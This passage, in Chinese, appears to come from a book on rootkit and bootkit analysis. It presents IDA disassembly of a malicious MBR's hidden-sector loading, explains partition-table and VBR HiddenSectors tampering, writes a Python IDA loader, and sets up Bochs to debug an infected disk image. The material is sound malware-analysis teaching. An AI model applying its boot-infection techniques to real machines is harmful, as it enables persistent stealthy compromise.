➊ QWORD TotalSectors;           // Total number of sectors on drive

➋ WORD BytesPerSector;          // Bytes per sector

} EXTENDED_GET_PARAMS, *PEXTENDED_GET_PARAMS;

清单 8-5:EXTENDED_GET_PARAMS结构布局

启动工具实际上只关心返回结构中的两个字段:硬盘上的扇区数量 ➊ 和磁盘扇区的大小(以字节为单位) ➋。启动工具通过将这两个值相乘来计算硬盘的总大小(以字节为单位),然后利用结果来定位硬盘末尾的隐藏存储。

读取恶意引导加载程序扇区

一旦启动工具获取了硬盘参数并计算出隐藏存储的偏移量,启动工具的 MBR 代码就会通过 BIOS 磁盘服务的扩展读取操作从磁盘中读取这些隐藏数据。这些数据是下一阶段的恶意引导加载程序,旨在绕过操作系统安全检查并加载恶意的内核模式驱动程序。清单 8-6 展示了将其读取到 RAM 中的代码。

seg000:7C4C read_loop:                              ; CODE XREF: seg000:7C5Dj

seg000:7C4C              ➊ call    read_sector

seg000:7C4F                 mov     si, 7D1Dh

seg000:7C52                 mov     cx, ds:word_7D1B

seg000:7C56                 rep movsb

seg000:7C58                 mov     ax, ds:word_7D19

seg000:7C5B                 test    ax, ax

seg000:7C5D                 jnz     short read_loop

seg000:7C5F                 popa

seg000:7C60              ➋ jmp     far boot_loader

清单 8-6:从磁盘加载额外恶意引导加载程序的代码

read_loop中,这段代码通过调用read_sector ➊反复从硬盘读取扇区,并将它们存储在之前分配的内存缓冲区中。然后,代码通过执行jmp far指令 ➋将控制转移到这个恶意引导加载程序。

查看read_sector例程的代码,在清单 8-7 中,你可以看到使用了 INT 13h,参数为42h,这对应于扩展读取操作。

seg000:7C65 read_sector     proc near

seg000:7C65                 pusha

seg000:7C66               ➊ mov     ds:disk_address_packet.PacketSize, 10h

seg000:7C6B               ➋ mov     byte ptr ds:disk_address_packet.SectorsToTransfer, 1

seg000:7C70                 push    cs

seg000:7C71                 pop     word ptr ds:disk_address_packet.TargetBuffer+2

seg000:7C75               ➌ mov     word ptr ds:disk_address_packet.TargetBuffer, 7D17h

seg000:7C7B                 push    large [dword ptr ds:drive_param.TotalSectors_l]

seg000:7C80               ➍ pop     large [ds:disk_address_packet.StartLBA_l]

seg000:7C85                 push    large [dword ptr ds:drive_param.TotalSectors_h]

seg000:7C8A               ➎ pop     large [ds:disk_address_packet.StartLBA_h]

seg000:7C8F                 inc     eax

seg000:7C91                 sub     ds:disk_address_packet.StartLBA_l, eax

seg000:7C96                 sbb     ds:disk_address_packet.StartLBA_h, 0

seg000:7C9C                 mov     ah, 42h

seg000:7C9E               ➏ mov     si, 7CE9h

seg000:7CA1                 mov     dl, ds:drive_no

seg000:7CA5               ➐ int     13h             ; DISK - IBM/MS Extension

                                                    ; EXTENDED READ

                                                    ; (DL - drive, DS:SI - disk address packet)

seg000:7CA7                 popa

seg000:7CA8                 retn

seg000:7CA8 read_sector     endp

清单 8-7:从磁盘读取扇区

在执行 INT 13h ➐之前,bootkit 代码初始化DISK_ADDRESS_PACKET结构,设置适当的参数,包括结构的大小➊、要传输的扇区数量➋、存储结果的缓冲区地址➌,以及要读取的扇区地址➍ ➎。该结构的地址通过dssi寄存器提供给 INT 13h 处理程序➏。注意结构偏移量的手动注释;IDA 会获取并传播它们。BIOS 磁盘服务使用DISK_ADDRESS_PACKET来唯一标识从硬盘读取哪些扇区。DISK_ADDRESS_PACKET结构的完整布局及其注释在列表 8-8 中提供。

typedef struct _DISK_ADDRESS_PACKET {

   BYTE PacketSize;                 // Size of the structure

   BYTE Reserved;

   WORD SectorsToTransfer;          // Number of sectors to read/write

   DWORD TargetBuffer;              // segment:offset of the data buffer

   QWORD StartLBA;                  // LBA address of the starting sector

} DISK_ADDRESS_PACKET, *PDISK_ADDRESS_PACKET;

列表 8-8:DISK_ADDRESS_PACKET 结构布局

一旦引导加载程序被读取到内存缓冲区,bootkit 就会执行它。

到此为止,我们已经完成了对 MBR 代码的分析,接下来将分析 MBR 的另一个重要部分:分区表。你可以在nostarch.com/rootkits/下载完整版本的反汇编并注释过的恶意 MBR。

分析受感染的 MBR 分区表

MBR 分区表是 bootkit 的常见攻击目标,因为它包含的数据——虽然有限——在启动过程的逻辑中扮演着关键角色。在第五章中介绍过,分区表位于 MBR 中的偏移量 0x1BE 处,由四个条目组成,每个条目的大小为 0x10 字节。它列出了硬盘上可用的分区,描述了它们的类型和位置,并指定了 MBR 代码完成后应该将控制权转交到哪里。通常,合法 MBR 代码的唯一目的是扫描此表格以查找活动分区——即标记了相应位标志并包含 VBR 的分区——并将其加载。你可能能够通过简单地操作表格中包含的信息来在启动的早期阶段拦截这一执行流程,而无需修改 MBR 代码本身;我们将在第十章中讨论的 Olmasco bootkit 实现了这种方法。

这说明了 bootkit 和 rootkit 设计中的一个重要原则:如果你能够巧妙地操控某些数据以弯曲控制流,那么这种方法比修补代码更受青睐。这节省了恶意软件程序员测试新修改代码的努力——这是代码重用促进可靠性的一个好例子!

像 MBR 或 VBR 这样的复杂数据结构通常会为攻击者提供许多机会,将它们视为一种字节码,并将消耗这些数据的本机代码视为通过输入数据编程的虚拟机。语言理论安全(LangSec,langsec.org/)方法解释了为什么会出现这种情况。

能够读取和理解 MBR 的分区表对于发现这种早期引导病毒拦截至关重要。请查看图 8-4 中的分区表,其中每一行 16/10h 字节是一个分区表条目。

image

图 8-4:MBR 的分区表

如你所见,表格中有两个条目——前两行——这意味着磁盘上只有两个分区。第一个分区条目从地址 0x7DBE 开始;它的第一个字节➊表明该分区是活动的,因此 MBR 代码应加载并执行其 VBR,即该分区的第一个扇区。偏移地址 0x7DC2 处的字节➋描述了该分区的类型——即操作系统、引导加载程序或其他低级磁盘访问代码应期望的文件系统类型。在此情况下,0x07 表示微软的 NTFS。(有关分区类型的更多信息,请参见《Windows 启动过程》第 60 页)

接下来,分区表条目中偏移地址 0x7DC5 处的 DWORD➌表明该分区从硬盘起始位置偏移 0x800 开始;这个偏移量是以扇区为单位计算的。条目的最后一个 DWORD ➍指定了分区的大小,以扇区为单位(0x32000)。表 8-2 详细列出了图 8-4 中的具体示例。在起始偏移和分区大小列中,实际值以扇区为单位提供,字节数则用括号标注。

表 8-2: MBR 分区表内容

分区索引 是否激活 类型 起始偏移,扇区(字节) 分区大小,扇区(字节)
0 激活 NTFS (0x07) 0x800 (0x100000) 0x32000 (0x6400000)
1 错误 NTFS (0x07) 0x32800 (0x6500000) 0x4FCD000 (0x9F9A00000)
2 不适用 不适用 不适用 不适用
3 不适用 不适用 不适用 不适用

重建的分区表指示了你在分析启动序列时下一步应该查看的地方。即,它告诉你 VBR 的位置。VBR 的坐标存储在主分区条目的起始偏移列中。在此案例中,VBR 位于硬盘起始位置偏移 0x100000 字节的地方,这是你继续分析时要查看的地方。

VBR 分析技术

在本节中,我们将讨论使用 IDA 进行 VBR 静态分析的方法,并重点介绍一个关键的 VBR 概念——BIOS 参数块(BPB),它在启动过程和引导病毒感染中起着重要作用。VBR 也是引导病毒的常见目标,正如我们在第七章中简要提到的那样。在第十二章中,我们将更详细地讨论 Gapz 引导病毒,它通过感染 VBR 来在受感染系统上保持持久性。在第十一章中讨论的 Rovnix 引导病毒也利用 VBR 感染系统。

你应该以与加载 MBR 基本相同的方式加载 VBR 到反汇编器中,因为它也在实模式下执行。加载来自样本目录中 第八章 的 VBR 文件 vbr_sample_ch8.bin,作为 0:7C00h 处的二进制模块,并以 16 位反汇编模式加载。

分析 IPL

VBR 的主要目的是定位初始程序加载器(IPL),并将其加载到内存中。IPL 在硬盘上的位置在 BIOS_PARAMETER_BLOCK_NTFS 结构中指定,前文在第五章中已讨论过。直接存储在 VBR 中的 BIOS_PARAMETER_BLOCK_NTFS 包含多个字段,用于定义 NTFS 卷的几何结构,如每扇区的字节数、每簇的扇区数以及主文件表的位置。

HiddenSectors 字段存储了从硬盘开始到 NTFS 卷开始的扇区数,定义了 IPL 的实际位置。VBR 假定 NTFS 卷以 VBR 开头,紧随其后的是 IPL。因此,VBR 代码通过获取 HiddenSectors 字段的内容,递增该值 1,然后从计算出的偏移量读取 0x2000 字节(即 16 个扇区)来加载 IPL。一旦 IPL 从磁盘加载完毕,VBR 代码会将控制权转交给它。

清单 8-9 展示了我们示例中 BIOS 参数块结构的一部分。

seg000:000B bpb     dw 200h      ; SectorSize

seg000:000D         db 8         ; SectorsPerCluster

seg000:001E         db 3 dup(0)  ; reserved

seg000:0011         dw 0         ; RootDirectoryIndex

seg000:0013         dw 0         ; NumberOfSectorsFAT

seg000:0015         db 0F8h      ; MediaId

seg000:0016         db 2 dup(0)  ; Reserved2

seg000:0018         dw 3Fh       ; SectorsPerTrack

seg000:001A         dw 0FFh      ; NumberOfHeads

seg000:001C         dd 800h      ; HiddenSectors➊

清单 8-9:VBR 的 BIOS 参数块

HiddenSectors ➊ 的值为 0x800,对应磁盘上活动分区的起始偏移量,见表 8-2。这表明 IPL 位于磁盘起始位置的 0x801 偏移处。Bootkit 利用这些信息在启动过程中拦截控制。比如,Gapz bootkit 修改了 HiddenSectors 字段的内容,使得 VBR 代码读取并执行恶意的 IPL,而不是合法的 IPL。另一方面,Rovnix 使用了另一种策略:它修改了合法 IPL 的代码。这两种操作都在系统启动初期拦截了控制权。

评估其他 Bootkit 组件

一旦 IPL 获得控制,它会加载存储在卷文件系统中的 bootmgr。此后,其他 bootkit 组件,如恶意引导加载程序和内核模式驱动程序,可能会启动。对这些模块的完整分析超出了本章的范围,但我们会简要概述一些方法。

恶意引导加载程序

恶意引导加载程序是 bootkits 的重要组成部分。它们的主要目的是通过 CPU 执行模式切换生存下来,绕过操作系统安全检查(如驱动签名强制执行),并加载恶意内核模式驱动程序。由于大小限制,它们实现了无法容纳在 MBR 和 VBR 中的功能,并且它们会被单独存储在硬盘上。Bootkits 会将其引导加载程序存储在隐藏的存储区域,这些区域通常位于硬盘的末端(通常有一些未使用的磁盘空间),或者在分区之间的空闲磁盘空间中(如果有的话)。

恶意引导加载程序可能包含在不同处理器执行模式下执行的不同代码:

16 位实模式 中断 13h 钩子功能

32 位保护模式 绕过 32 位操作系统版本的操作系统安全检查

64 位保护模式(长模式) 绕过 64 位操作系统版本的操作系统安全检查

但是,IDA Pro 反汇编器不能在单个 IDA 数据库中保持不同模式下的代码反汇编,因此你需要为不同的执行模式维护不同版本的 IDA Pro 数据库。

内核模式驱动程序

在大多数情况下,bootkits 加载的内核模式驱动程序是有效的 PE 镜像。它们实现了 rootkit 功能,使恶意软件能够避开安全软件的检测,并提供隐蔽的通信渠道等功能。现代 bootkits 通常包含为 x86 和 x64 平台编译的两个版本的内核模式驱动程序。你可以使用常规的可执行文件静态分析方法分析这些模块。IDA Pro 在加载这些可执行文件方面做得相当不错,并且为其分析提供了许多补充工具和信息。然而,我们将讨论如何使用 IDA Pro 的功能,通过在加载时预处理它们来自动化 bootkits 的分析。

高级 IDA Pro 使用:编写自定义 MBR 加载器

IDA Pro 反汇编器最引人注目的特点之一是其对各种文件格式和处理器架构的广泛支持。为了实现这一点,加载特定类型可执行文件的功能是通过名为加载器的特殊模块来实现的。默认情况下,IDA Pro 包含多个加载器,覆盖了最常见的可执行文件类型,如 PE(Windows)、ELF(Linux)、Mach-O(macOS)和固件镜像格式。你可以通过检查 \(IDADIR\loaders* 目录的内容来获得可用加载器的列表,其中 *\)IDADIR 是反汇编器的安装目录。该目录中的文件就是加载器,它们的名称对应平台及其二进制格式。文件扩展名具有以下含义:

ldw IDA Pro 32 位版本的加载器的二进制实现

l64 IDA Pro 64 位版本的加载器的二进制实现

py 适用于 IDA Pro 两个版本的加载器的 Python 实现

默认情况下,在编写本章时,MBR 或 VBR 没有可用的加载器,这就是为什么你必须指示 IDA 将 MBR 或 VBR 作为二进制模块加载的原因。本节将向你展示如何为 IDA Pro 编写一个基于 Python 的自定义 MBR 加载器,该加载器在 16 位反汇编模式下以地址 0x7C00 加载 MBR 并解析分区表。

理解 loader.hpp

起始点是loader.hpp文件,该文件随 IDA Pro SDK 提供,包含了很多与在反汇编器中加载可执行文件相关的有用信息。它定义了需要使用的结构和类型,列出了回调例程的原型,并描述了它们所需的参数。以下是根据loader.hpp,加载器中应该实现的回调函数列表:

accept_file 该例程检查正在加载的文件是否为受支持的格式。

load_file 该例程实际执行将文件加载到反汇编器中的工作——即解析文件格式并将文件内容映射到新创建的数据库中。

save_file 这是一个可选的例程,如果实现了它,则会在执行菜单中的文件▸生成文件▸创建 EXE 文件命令时从反汇编中生成可执行文件。

move_segm 这是一个可选的例程,如果实现了它,在用户在数据库中移动一个段时执行。当图像中有重定位信息且用户在移动段时需要考虑这些信息时,通常会使用此例程。由于 MBR 没有重定位,我们可以跳过此例程,但如果我们要为 PE 或 ELF 二进制文件编写加载器,则不能跳过。

init_loader_options 这是一个可选的例程,如果实现了它,当用户选择一个加载器后,它会询问用户有关加载特定文件类型的额外参数。我们可以跳过此例程,因为我们没有需要添加的特殊选项。

现在让我们来看看这些例程在我们的自定义 MBR 加载器中的实际实现。

实现 accept_file

accept_file例程中,如清单 8-10 所示,我们检查文件是否为主引导记录。

def accept_file(li, n):

   # check size of the file

   file_size = li.size()

   if file_size < 512:

    ➊ return 0

   # check MBR signature

   li.seek(510, os.SEEK_SET)

   mbr_sign = li.read(2)

   if mbr_sign[0] != '\x55' or mbr_sign[1] != '\xAA':

    ➋ return 0

   # all the checks are passed

➌ return 'MBR'

清单 8-10:accept_file实现

MBR 格式相当简单,因此我们只需要以下几个指标来执行此检查:

文件大小 文件大小应至少为 512 字节,这对应于硬盘扇区的最小大小。

MBR 签名 有效的 MBR 应该以字节 0xAA55 结束。

如果条件满足且文件被识别为 MBR,代码将返回一个包含加载器名称的字符串➌;如果文件不是 MBR,代码将返回0 ➊ ➋。

实现 load_file

一旦accept_file返回一个非零值,IDA Pro 会尝试通过执行load_file例程来加载文件,该例程在你的加载器中实现。此例程需要执行以下步骤:

  1. 将整个文件读入缓冲区。

  2. 创建并初始化一个新的内存段,在该段中脚本将加载 MBR 内容。

  3. 将 MBR 的起始位置设置为反汇编的入口点。

  4. 解析 MBR 中包含的分区表。

load_file的实现显示在列表 8-11 中。

def load_file(li):

    # Select the PC processor module

 ➊ idaapi.set_processor_type("metapc", SETPROC_ALL|SETPROC_FATAL)

    # read MBR into buffer

 ➋ li.seek(0, os.SEEK_SET); buf = li.read(li.size())

    mbr_start = 0x7C00       # beginning of the segment

    mbr_size = len(buf)      # size of the segment

    mbr_end  = mbr_start + mbr_size

    # Create the segment

 ➌ seg = idaapi.segment_t()

    seg.startEA = mbr_start

    seg.endEA   = mbr_end

    seg.bitness = 0 # 16-bit

 ➍ idaapi.add_segm_ex(seg, "seg0", "CODE", 0)

    # Copy the bytes

 ➎ idaapi.mem2base(buf, mbr_start, mbr_end)

    # add entry point

    idaapi.add_entry(mbr_start, mbr_start, "start", 1)

    # parse partition table

 ➏ struct_id = add_struct_def()

    struct_size = idaapi.get_struc_size(struct_id)

 ➐ idaapi.doStruct(start + 0x1BE, struct_size, struct_id)

列表 8-11:load_file实现

首先,将 CPU 类型设置为metapc ➊,这对应于通用 PC 系列,指示 IDA 将二进制文件反汇编为 IBM PC 的操作码。然后,将 MBR 读取到缓冲区➋,并通过调用segment_t API ➌创建内存段。此调用分配一个空结构seg,描述要创建的段。接着,用实际的字节值填充它。将段的起始地址设置为 0x7C00,正如你在“将 MBR 加载到 IDA Pro 中”中第 96 页所做的那样,并将其大小设置为 MBR 的相应大小。同时,告诉 IDA 新段将是一个 16 位段,将结构的bitness标志设置为0;注意,1对应 32 位段,2对应 64 位段。然后,通过调用add_segm_ex API ➍,将新段添加到反汇编数据库中。add_segm_ex API 接受以下参数:描述要创建的段的结构;段名称(seg0);段类CODE;以及flags,其值保持为0。在此调用之后 ➎,将 MBR 内容复制到新创建的段中并添加入口点指示符。

接下来,通过调用doStruct API ➐,自动解析 MBR 中的分区表,传入以下参数:分区表起始地址、表的字节大小以及你希望表转换为的结构标识符。我们加载器中实现的add_struct_def例程 ➏ 创建了这个结构。它将定义分区表的结构PARTITION_TABLE_ENTRY导入到数据库中。

创建分区表结构

列表 8-12 定义了add_struct_def例程,该例程创建了PARTITION_TABLE_ENTRY结构。

def add_struct_def(li, neflags, format):

    # add structure PARTITION_TABLE_ENTRY to IDA types

    sid_partition_entry = AddStrucEx(-1, "PARTITION_TABLE_ENTRY", 0)

    # add fields to the structure

    AddStrucMember(sid_partition_entry, "status", 0, FF_BYTE, -1, 1)

    AddStrucMember(sid_partition_entry, "chsFirst", 1, FF_BYTE, -1, 3)

    AddStrucMember(sid_partition_entry, "type", 4, FF_BYTE, -1, 1)

    AddStrucMember(sid_partition_entry, "chsLast", 5, FF_BYTE, -1, 3)

    AddStrucMember(sid_partition_entry, "lbaStart", 8, FF_DWRD, -1, 4)

    AddStrucMember(sid_partition_entry, "size", 12, FF_DWRD, -1, 4)

    # add structure PARTITION_TABLE to IDA types

    sid_table = AddStrucEx(-1, "PARTITION_TABLE", 0)

    AddStrucMember(sid_table, "partitions", 0, FF_STRU, sid, 64)

    return sid_table

列表 8-12:将数据结构导入反汇编数据库

一旦加载器模块完成,将其作为mbr.py文件复制到 $IDADIR\loaders 目录中。当用户尝试将 MBR 加载到反汇编器时,图 8-5 中的对话框将出现,确认你的加载器成功识别了 MBR 镜像。点击确定将执行加载器中实现的load_file例程,以便将前述的自定义设置应用到加载的文件中。

注意

当你为 IDA Pro 开发自定义加载器时,脚本实现中的错误可能会导致 IDA Pro 崩溃。如果发生这种情况,只需从 loaders 目录中删除加载器脚本并重新启动反汇编器。

在本节中,你已经看到反汇编器扩展开发能力的一小部分。有关 IDA Pro 扩展开发的更完整参考,请参阅 Chris Eagle 的《IDA Pro 书》(No Starch Press,2011)。

image

图 8-5:选择自定义 MBR 加载程序

结论

在本章中,我们描述了对 MBR 和 VBR 进行静态分析的几个简单步骤。你可以轻松地将本章中的示例扩展到在预启动环境中运行的任何代码。你还看到了 IDA Pro 反汇编器提供了许多独特的功能,使其成为执行静态分析的得力工具。

另一方面,静态分析有其局限性——主要是无法看到代码的运行并观察它如何处理数据。在许多情况下,静态分析无法回答反向工程师可能提出的所有问题。在这种情况下,检查代码的实际执行情况以更好地理解其功能,或获取一些在静态分析中可能遗漏的信息(如加密密钥)非常重要。这引出了动态分析,我们将在下一章中讨论其方法和工具。

练习

完成以下练习,以更好地掌握本章的内容。你需要从 nostarch.com/rootkits/ 下载一个磁盘映像。完成此练习所需的工具是 IDA Pro 反汇编器和 Python 解释器。

  1. 通过读取其前 512 个字节并将其保存在名为 mbr.mbr 的文件中,从映像中提取 MBR。将提取的 MBR 加载到 IDA Pro 反汇编器中。检查并描述入口点处的代码。

  2. 识别解密 MBR 的代码。使用了什么样的加密方式?找到解密 MBR 的密钥。

  3. 编写一个 Python 脚本来解密其余的 MBR 代码并执行它。参考 Listing 8-2 中的代码。

  4. 为了能够从磁盘加载额外的代码,MBR 代码分配了一个内存缓冲区。分配该缓冲区的代码位于哪里?代码分配了多少字节的内存?分配的缓冲区的指针存储在哪里?

  5. 在分配内存缓冲区后,MBR 代码尝试从磁盘加载额外的代码。MBR 代码从哪个偏移量的哪个扇区开始读取这些扇区?它读取了多少个扇区?

  6. 看起来从磁盘加载的数据是加密的。识别解密读取扇区的 MBR 代码。这个 MBR 代码将被加载到哪个地址?

  7. 通过从文件 stage2.mbr 中找到的偏移量读取练习 4 中识别的字节数,提取磁盘映像中的加密扇区。

  8. 实现一个 Python 脚本,用于解密提取的扇区并执行它。将解密后的数据加载到反汇编器中(与 MBR 类似),并检查其输出。

  9. 在 MBR 中识别分区表。有多少个分区?哪个分区是活动的?这些分区位于映像的哪里?

  10. 通过读取活动分区的前 512 字节并将其保存到vbr.vbr文件中,从映像中提取 VBR。将提取的 VBR 加载到 IDA Pro 中。检查并描述入口点的代码。

  11. HiddenSectors字段在 VBR 的 BIOS 参数块中存储的值是多少?IPL 代码位于哪个偏移位置?检查 VBR 代码并确定 IPL 的大小(即读取了多少字节的 IPL)。

  12. 通过读取并保存 IPL 代码到ipl.vbr文件中,从磁盘映像中提取 IPL 代码。将提取的 IPL 加载到 IDA Pro 中。找到 IPL 中的入口点位置。检查并描述入口点的代码。

  13. 为 IDA Pro 开发一个自定义的 VBR 加载器,该加载器能够自动解析 BIOS 参数块。使用在第五章中定义的结构BIOS_PARAMETER_BLOCK_NTFS

第九章:引导木马动态分析:仿真与虚拟化**

Image

你在第八章中看到,静态分析是引导木马逆向工程中的一个强大工具。然而,在某些情况下,它无法提供你所需要的信息,因此你需要使用动态分析技术。这通常适用于包含加密组件且解密困难的引导木马,或者像 Rovnix(在第十一章中讨论)那样的引导木马,它在执行过程中使用多个钩子来禁用操作系统保护机制。静态分析工具并不总是能够告诉你引导木马修改了哪些模块,因此在这些情况下,动态分析更加有效。

动态分析通常依赖于被分析平台的调试设施,但预启动环境并不提供常规的调试设施。在预启动环境中调试通常需要特殊的设备、软件和知识,这使得它成为一项具有挑战性的任务。

为了克服这一难题,我们需要额外的软件层——无论是仿真器还是虚拟机(VM)。仿真和虚拟化工具使我们能够在受控的预启动环境中运行引导代码,并提供常规的调试接口。

在本章中,我们将探索两种动态引导木马分析方法——具体来说是使用 Bochs 进行仿真和使用 VMware Workstation 进行虚拟化。这两种方法相似,且都允许研究人员观察引导代码在执行时的行为,提供相同的调试洞察,并允许访问相同的 CPU 寄存器和内存。

这两种方法的区别在于它们的实现方式。Bochs 仿真器通过解释代码在虚拟 CPU 上完全仿真执行,而 VMware Workstation 则使用真实的物理 CPU 来执行大部分来宾操作系统的指令。

本章分析中使用的引导木马组件可以在书籍资源的(nostarch.com/rootkits/)中找到。你需要的 MBR 文件是mbr.mbr,而 VBR 和 IPL 文件在partition0.data中。

使用 Bochs 进行仿真

Bochs (bochs.sourceforge.net/), 发音为“box”,是一个开源仿真器,支持 Intel x86-64 平台,能够仿真整个计算机。我们对这个工具的主要兴趣在于它提供了一个调试接口,可以追踪它所仿真的代码,因此我们可以用它来调试在预启动环境中执行的模块,如 MBR 和 VBR/IPL。Bochs 还作为一个单用户模式进程运行,因此不需要安装内核模式驱动程序或任何特殊的系统服务来支持仿真环境。

其他工具,如开源仿真器 QEMU(wiki.qemu.org/Main_Page),提供与 Bochs 相同的功能,也可用于 bootkit 分析。但我们选择 Bochs 而非 QEMU,是因为根据我们丰富的经验,Bochs 在与 Hex-Rays IDA Pro 集成方面,在 Microsoft Windows 平台上表现得更好。Bochs 还具有更加紧凑的架构,专注于仿真仅限 x86/x64 平台,并且内嵌了一个调试接口,我们可以利用它进行引导代码调试,而无需使用 IDA Pro——虽然将其与 IDA Pro 配合使用会提升性能,正如我们将在“将 Bochs 与 IDA 结合使用”部分中展示的那样,位于第 123 页。

值得注意的是,QEMU 效率更高,并且支持更多架构,包括高级 RISC 机器(ARM)架构。QEMU 使用的内部 GNU 调试器(GDB)接口也提供了从虚拟机启动过程早期开始调试的机会。因此,如果你在本章之后希望更深入地探索调试,QEMU 可能是一个值得尝试的选择。

安装 Bochs

你可以从sourceforge.net/projects/bochs/files/bochs/下载最新版本的 Bochs。你有两种下载选项:Bochs 安装程序和包含 Bochs 组件的 ZIP 归档文件。安装程序包含更多的组件和工具——包括我们稍后会讨论的bximage工具——所以我们推荐下载安装程序,而不是 ZIP 归档文件。安装过程很简单:只需点击完成步骤并保持默认的参数值。在本章中,我们将 Bochs 的安装目录称为Bochs 工作目录

创建 Bochs 环境

要使用 Bochs 仿真器,我们首先需要为它创建一个环境,包含一个 Bochs 配置文件和一个磁盘映像文件。配置文件是一个文本文件,包含仿真器执行代码所需的所有基本信息(使用哪个磁盘映像、CPU 参数等),而磁盘映像则包含要仿真的客体操作系统和引导模块。

创建配置文件

列表 9-1 展示了调试 bootkit 时最常用的参数,我们将在本章中使用此文件作为 Bochs 配置文件。打开一个新的文本文件,并输入列表 9-1 的内容。或者,如果你愿意,也可以使用本书资源中提供的bochsrc.bxrc文件。你需要将此文件保存在 Bochs 工作目录中,并命名为bochsrc.bxrc.bxrc扩展名表示该文件包含 Bochs 的配置参数。

megs: 512

romimage: file="../BIOS-bochs-latest" ➊

vgaromimage: file="../VGABIOS-lgpl-latest" ➋

boot: cdrom, disk ➌

ata0-master: type=disk, path="win_os.img", mode=flat, cylinders=6192, heads=16, spt=63 ➍

mouse: enabled=0 ➎

cpu: ips=90000000 ➏

列表 9-1:示例 Bochs 配置文件

第一个参数megs设置了仿真环境的 RAM 限制,单位为 MB。对于我们的引导代码调试需求,512MB 已经足够。romimage参数 ➊ 和 vgaromimage参数 ➋ 指定了要在仿真环境中使用的 BIOS 和 VGA-BIOS 模块的路径。Bochs 附带了默认的 BIOS 模块,但如果需要的话,你可以使用自定义模块(例如在固件开发的情况下)。由于我们的目标是调试 MBR 和 VBR 代码,我们将使用默认的 BIOS 模块。boot选项指定了启动设备的顺序 ➌。根据这些设置,Bochs 将首先尝试从 CD-ROM 设备启动,如果失败,则会转向硬盘。下一个选项ata0-master指定了 Bochs 仿真硬盘的类型和特性 ➍。它有几个参数:

type 设备的类型,可以是diskcdrom

path 主机文件系统中磁盘镜像文件的路径。

mode 图像的类型。此选项仅对磁盘设备有效;我们将在第 123 页的“将 Bochs 与 IDA 结合使用”中详细讨论。

cylinders 磁盘的磁道数;此选项定义磁盘的大小。

heads 磁盘的磁头数量;此选项定义磁盘的大小。

spt 每轨的扇区数;此选项定义磁盘的大小。

注意

在接下来的部分中,你将看到如何使用 Bochs 附带的 bximage 工具创建磁盘镜像。一旦创建了新的磁盘镜像,bximage 会输出你需要在 ata0-master 选项中提供的参数。

mouse 参数启用在客操作系统中使用鼠标 ➎。cpu 选项定义了 Bochs 仿真器内虚拟 CPU 的参数 ➏。在我们的示例中,我们使用ips指定每秒仿真指令的数量。你可以调整此选项以改变性能特性;例如,对于 Bochs 版本 2.6.8 和 Intel Core i7 CPU,典型的ips值大约在 85 到 95 MIPS(百万条指令每秒)之间,这也是我们这里使用的值。

创建磁盘镜像

要为 Bochs 创建磁盘镜像,你可以使用 Unix 中的dd工具或 Bochs 仿真器提供的bximage工具。我们将选择bximage,因为它可以在 Linux 和 Windows 机器上使用。

打开bximage磁盘镜像创建工具。当它启动时,bximage会提供一个选项列表,如图 9-1 所示。输入 1 以创建一个新的镜像 ➊。

工具接着会询问你是否要创建软盘或硬盘映像。在我们的例子中,我们指定hd ➋来创建一个硬盘映像。接下来,它会询问要创建哪种类型的映像。通常,磁盘映像的类型决定了磁盘映像在文件中的布局。该工具可以创建多种类型的磁盘映像;有关支持的类型的完整列表,请参阅 Bochs 文档。我们选择flat ➌来生成一个具有平面布局的单文件磁盘映像。这意味着文件磁盘映像中的偏移量与磁盘上的偏移量相对应,这使我们可以轻松编辑和修改映像。

image

图 9-1:使用bximage工具创建 Bochs 磁盘映像

接下来,我们需要指定磁盘大小(以兆字节为单位)。你提供的值取决于你使用 Bochs 的目的。如果你想在磁盘映像中安装操作系统,则磁盘大小需要足够大,以存储所有操作系统文件。另一方面,如果你只想将磁盘映像用于调试引导代码,10MB ➍的磁盘大小就足够了。

最后,bximage会提示输入映像名称——这是映像将存储在主机文件系统中的文件路径 ➎。如果你只提供文件名而没有完整路径,文件将存储在 Bochs 所在的同一目录中。输入文件名后,Bochs 会创建磁盘映像并输出一个配置字符串 ➏,让你输入到 Bochs 配置文件中的ata0-master行中(列表 9-1)。为避免混淆,可以在bximage中提供映像文件的完整路径,或者将新创建的映像文件复制到与配置文件相同的目录中。这确保了 Bochs 能够找到并加载映像文件。

感染磁盘映像

一旦你创建了磁盘映像,我们就可以继续将引导程序感染到磁盘中。我们可以通过两种方式来实现这一点。第一种选择是将一个来宾操作系统安装到 Bochs 磁盘映像中,然后将引导程序感染器执行到来宾环境中。在执行时,恶意软件会将引导程序感染到磁盘映像中。这种方法允许你进行更深入的恶意软件分析,因为恶意软件将所有组件安装到来宾系统中,包括引导程序和内核模式驱动程序。但它也有一些缺点:

  • 我们之前创建的磁盘映像必须足够大,以容纳操作系统。

  • 在操作系统安装和恶意软件执行过程中,指令的仿真会显著增加执行时间。

  • 一些现代恶意软件实现了反仿真功能,意味着恶意软件可以检测到它在仿真器中运行并在不感染系统的情况下退出。

出于这些原因,我们将使用第二种选项:通过从恶意软件中提取启动工具组件(MBR、VBR 和 IPL),并直接将它们写入磁盘镜像来感染磁盘镜像。这种方法需要的磁盘大小显著较小,通常速度也更快。但这也意味着我们无法观察和分析恶意软件的其他组件,如内核模式驱动程序。这种方法还需要一些对恶意软件及其架构的先验了解。因此,我们选择这种方法的另一个原因是,它能让我们更深入地了解在动态分析环境中使用 Bochs。

将 MBR 写入磁盘镜像

确保你已从 nostarch.com/rootkits/ 下载并保存 mbr.mbr 代码。清单 9-2 展示了将恶意 MBR 写入磁盘镜像的 Python 代码。将其复制到文本编辑器中并保存为外部 Python 文件。

# read MBR from file

mbr_file = open("path_to_mbr_file", "rb") ➊

mbr = mbr_file.read()

mbr_file.close()

# write MBR to the very beginning of the disk image

disk_image_file = open("path_to_disk_image", "r+b") ➋

disk_image_file.seek(0)

disk_image_file.write(mbr) ➌

disk_image_file.close()

清单 9-2:将 MBR 代码写入磁盘镜像

在此示例中,将 MBR 的文件位置替换为 path_to_mbr_file ➊,将磁盘镜像的位置替换为 path_to_disk_image ➋,然后将代码保存为 .py 扩展名的文件。现在,执行 python path_to_the_script_file.py`,Python 解释器将在 Bochs 中执行该代码。我们写入的 MBR ➌ 仅包含分区表中的一个活动分区(0),如 表 9-1 所示。

表 9-1: MBR 分区表

分区编号 类型 起始扇区 分区大小(扇区)
0 0x80(可启动) 0x10 ➊ 0x200
1 0(无分区) 0 0
2 0(无分区) 0 0
3 0(无分区) 0 0

